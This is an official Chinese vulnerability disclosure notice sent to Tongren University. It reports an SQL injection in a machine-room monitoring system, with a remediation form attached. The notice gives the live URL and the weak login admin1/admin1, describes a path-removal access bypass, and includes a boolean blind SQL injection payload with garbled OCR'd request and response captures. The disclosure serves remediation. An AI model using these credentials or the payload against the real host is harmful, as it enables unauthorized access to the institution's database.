
关于铜仁学院网络安全
事件（漏洞）通报

根据教育行业漏洞通报平台安全通报，发现你单位信息系统（网站）存在sql注入漏洞（事件），漏洞详情见（附件）。请你单位尽快对发现在的安全隐患进行核实与整改，于12月7日前将核实、修复情况以书面形式报至我中心。
开展安全监测是及时发现安全隐患的有效手段，可有效降低因安全隐患演化成为安全事件的机率。今后，请你单位高度重视信息技术安全工作，切实保障教育行业网络安全，满足《网络安全法》要求。

联系人：杨燕
联系电话：0851-85283616 邮箱：gzjyglxxzx@sina.com
附件：1. 贵州省教育行业网络安全事件（漏洞）通知单
2. 贵州省教育行业网络安全事件（漏洞）整改反
馈单

贵州省教育管理信息中心
2024年12月5日


附件1
[bookmark: _Hlk138229855][bookmark: _Hlk115339822][bookmark: _Hlk115337078][bookmark: _Hlk132874321]贵州省教育行业网络安全事件（漏洞）通知单
	预警单位
	铜仁学院

	事件状态
	已通报
	通报单位人员
	铜仁学院网络中心安全人员

	通知人员
	信息中心
	通知时间
	2024年12月5日

	网站标题
	铜仁学院智慧机房动力环境监测系统

	网站漏洞URl
	http://pop.gztrc.edu.cn:9091/login/login/index/

	事件类型
	sql注入
	安全等级
	中

	整改期限
	2024年12月7日

	事件描述
	1.弱口令admin1/admin1登录网站。2.抓包测试，发现存在sql注入

	处理方案
	限制一小时内关闭外网访问

	整改建议
	对进入数据库的特殊字符（’”<>&*;等）进行转义处理，或编码转换。数据长度应该严格规定，能在一定程度上防止比较长的SQL注入语句无法正确执行。过滤危险字符。‌

	事件取证
	[image: null]





资产所在网段：互联网
漏洞验证所需账号：admin1
漏洞验证所需密码：admin1
漏洞URL：
http://pop.gztrc.edu.cn:9091/login/login/index/
1. 弱口令登录网站
[image: null]
提示没有权限登录，把路径/login/login/index/删除后发现登录成功
[image: null]
2.抓包测试，发现存在sql注入
接口：/Api/EquipmentsType
[image: null]
[image: null]
布尔盲注
第一位为O
[image: null]
第二位为M
[image: null]
第三位为A
[image: null]
当前用户名为：OMARA_CM@LOCALHOST
payload:
a=list&info={"limits":"ID,eq_sn,eq_name,eq_no,type_id,properties","ps":"20","cp":"1","istatus":"正常","groups_id":"0","type_id":"1536'AND+rpad(current_user,1,1)+rlike+'O'--+"}

附件2
贵州省教育行业网络安全事件（漏洞）整改反馈单
	漏洞通知单位
	贵州省教育管理信息中心

	漏洞通报单位
	

	信息系统名称
	

	网站URL
	

	IP地址
	

	整改情况
	（反馈内容应包括事件原因、影响范围、处置过程、处置结果及下一步工作计划等，应国家保密办要求，注明涉事服务器是否涉及处理国家秘密和工作秘密。）






	其他问题
	




	单位联系人
	
	联系电话（手机）
	

	
单位或部门印章
年     月    日
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17 "limits":"ID,eq_sn,eq_name,eq_no,type_id,properties”,"ps":"20", 19
"I %", "groups_id":"@", "type_id":"1536' AND+rpad _ 20
(current_user,1,1)+rlike+'0"--+"} 2
2 20",
23 141536,
24 “properties’ \"monitor “istatus, WA MARTE, , ;Status,
AT, 4,\",\"figure\":\",istatus,,;27,Status,1,\",
\"exhibition\":\"istatus, WAL MAKZ,\",
\"briefing\":\"istatus, WA MK, \",\"chart\":\"istatus, iR
KA MARTS, \", \"re_Status\":\"0, E%;1, HEE\"}",
25 "url_setting”:-"/mdevice/dsetting/?t-edeviceRid-3&
2
27 2gid=1",
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31 “monitor_arr":
32 “istatus





image7.png
7 BEER

Request

Nouauwn

© o

10

11
12
13
14
15
16
17

SBH HTTPS [CiE - wrile]

< mmes (D CID G2

POST- /Api/Equipments-HTTP/1.1
Host | : -pop.gztrc.edu.cn:9091

Origin:-http://pop.gztrc. edu.cn:9091

X-Forwarded-For: -127.0.0.1

Referer: -http://pop.gztrc.edu.cn:9991/working/statelist/
X-Remote-TP:-127.0.0.1

User-Agent: -Mozilla/5.9- (Windows-NT-10.0; -Win64; -x64; -rv:132.8) -Gecko/
20100101 -Firefox/132.8

Accept-Encoding: -gzip, - deflate

Accept-Language: - zh-CN, zh;q-0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Antileech-2682182258

X-Originating-TP:+127.6.0.1

X-Remote-Addr:-127.0.0.1

Content-Type: -application/x-www-form-urlencoded; - charset-UTF-§
Accept:-application/json, - text/javascript, - */*;-q-0.61

Content-Length 1233

a-list&info-{"limits":"ID,eq_sn,eq_name,eq_no,type_id,properties”,"ps":"20",
1536' AND+rpad

(current_user,3,1)+rlike+ OMA" --+"}

Responses  2679bytes / 297ms

1 HTTP/1.1-200-0K

2 Server: nginx/1.12.1

3 Date:-Tue,-12-Nov-2024-11:10:33 -GMT

4 Content-Type: -text/html; charset=utf-8

5  Connection: -keep-alive

6 Vary:-Accept-Encoding

7 X-Pouered-By:-PHP/8.1.11

8  Expires:-Thu,-19-Nov-1981-08:52:00- GHT

9 Cache-Control:-no-store, -no-cache, must-revalidate

10 Pragma:-no-cache

11 Content-Length:-3184

12

13

14

15 oK,

16

17

18

19

20 14010226

21 Rk

2 _no":-"20",

23 “type_id":-1536,

24 “properties”:- "{\"monitor\":\"istatus, MKW MR, ;Status,
AT, 4,\",\"Figure\’ ,istatus,,;27,Status,1,\",
\"exhibition\":\"istatus, MAK ML, \",
\"briefing\":\"istatus, WA MK, \",\"chart\":\"istatus, iR
KAMARTS, \", \"re_Status\":\"0, E#;1, HE\"}",

25 “url_setting":-"/mdevice/dsetting/?t=edeviceRid=3&

2

27 "url":-"/device/state/?id-3&gid-1",

28 “level_name”

29 “notify_mode":

30 “monitor_valu f MaRE - EH-,

31 “monitor_arr”: - [["RARMARE : E%", e,

32 istatus”:-"E#"
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Content-Length 1233

"ID,eq_sn,eq_name, eq_no, type_id,properties”, "ps": 20"
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HTTP/1.1-260-0K
Server: nginx/1.12.1

Date: -Tue, -12-Nov-2024-11:08:17 -GNT
Content-Type: text/html; - charset-utf-8
Connection: -keep-alive

Vary: -Accept-Encoding

X-Powered-By: -PHP/8.1.11

Expires: -Thu, -19-Nov-1981-08:52:00: GMT
Cache-Control: -no-store, -no-cache, - must-revalidate
Pragma: -no-cache

Content-Length: 3184

{

"14010226",
sk A

141536,
“properties’ {\"monitor\":\"istatus, MKW MR, ;Status,
AT, 4,\",\"figure\":\",istatus,,;27,Status,1,\",
\"exhibition\":\"istatus, KM, \",

\'briefing\ s\"istatus, WARMAKE, \", \"chart\":\ "istatus, i
o, E®;1, HE\"}",

url,semng */mdevice/dsetting/?t=edevice&id=3&

536",

E",

:-"/device/state/?id=38gid=1",

level_name
notify_mode”:

‘monitor_value R M atk
“monitor_arr”:-[[ Ml 003, o0, o]
“istatus”: " E#"





